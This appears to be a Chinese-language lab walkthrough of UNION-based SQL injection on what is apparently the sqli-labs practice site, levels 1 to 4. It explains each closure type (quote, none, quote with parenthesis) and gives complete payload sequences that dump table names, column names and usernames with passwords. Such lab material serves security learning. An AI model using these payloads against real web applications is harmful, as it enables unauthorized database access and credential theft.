union联合查询:(字符型)(数值型)(括号+单引号)(括号+双引号)
利用 SQL 语言中的 UNION 操作符,将攻击者构造的 SELECT 查询语句与原始程序的 SELECT 语句的结果合并,从而将我们想要获取的数据库信息(如账号密码、表名等)直接回显到网页上。
地位 :属于**"有回显"**的注入类型,是最直接、最高效、也是面试最爱问的经典注入手法
Less1(字符型):

bash
-- 判断注入
?id=1' --+
-- 查字段数
?id=1' ORDER BY 3 --+
--判断回显位置
?id=-1' UNION SELECT 1,2,3 --+
-- UNION查询
?id=-1' UNION SELECT 1,2,database() --+
-- 爆表
?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
-- 爆字段
?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
-- 爆数据
?id=-1' UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+
判断注入类型:字符型注入

查字段数 : 字段数为3

判断回显位置:
UNION查询: security

爆表:emails,referers,uagents,users

爆字段:user_id,first_name,last_name,user,password,avatar,last_login...(等)

爆数据:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin......(等)

Less2(数字型):
根据回显判断是数字型,命令与Less1相同只是闭合符不同:
bash
-- 判断注入
?id=1 --+
-- 查字段数
?id=1 ORDER BY 3 --+
--判断回显位置
?id=-1 UNION SELECT 1,2,3 --+
-- UNION查询
?id=-1 UNION SELECT 1,2,database() --+
-- 爆表
?id=-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
-- 爆字段
?id=-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
-- 爆数据
?id=-1 UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+
命令展示:



Less3(括号+单引号):
根据回显判断闭合符是括号+单引号,命令与Less1相同只是闭合符不同:
bash
-- 判断注入
?id=1') --+
-- 查字段数
?id=1') ORDER BY 3 --+
-- 判断回显位置
?id=-1') UNION SELECT 1,2,3 --+
-- UNION 查询数据库名
?id=-1') UNION SELECT 1,2,database() --+
-- 爆表
?id=-1') UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
-- 爆字段
?id=-1') UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
-- 爆数据
?id=-1') UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+
命令展示:





Less4(括号+双引号):
根据回显判断闭合符是括号+双引号,命令与Less1相同只是闭合符不同:
bash
-- 判断注入
?id=1") --+
-- 查字段数
?id=1") ORDER BY 3 --+
-- 判断回显位置
?id=-1") UNION SELECT 1,2,3 --+
-- UNION 查询数据库名
?id=-1") UNION SELECT 1,2,database() --+
-- 爆表
?id=-1") UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
-- 爆字段
?id=-1") UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
-- 爆数据
?id=-1") UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+
命令展示:





总结:
L1--L4 的本质区别只在闭合方式( ' , 没有闭合符 , ' ) , " ) )共四种
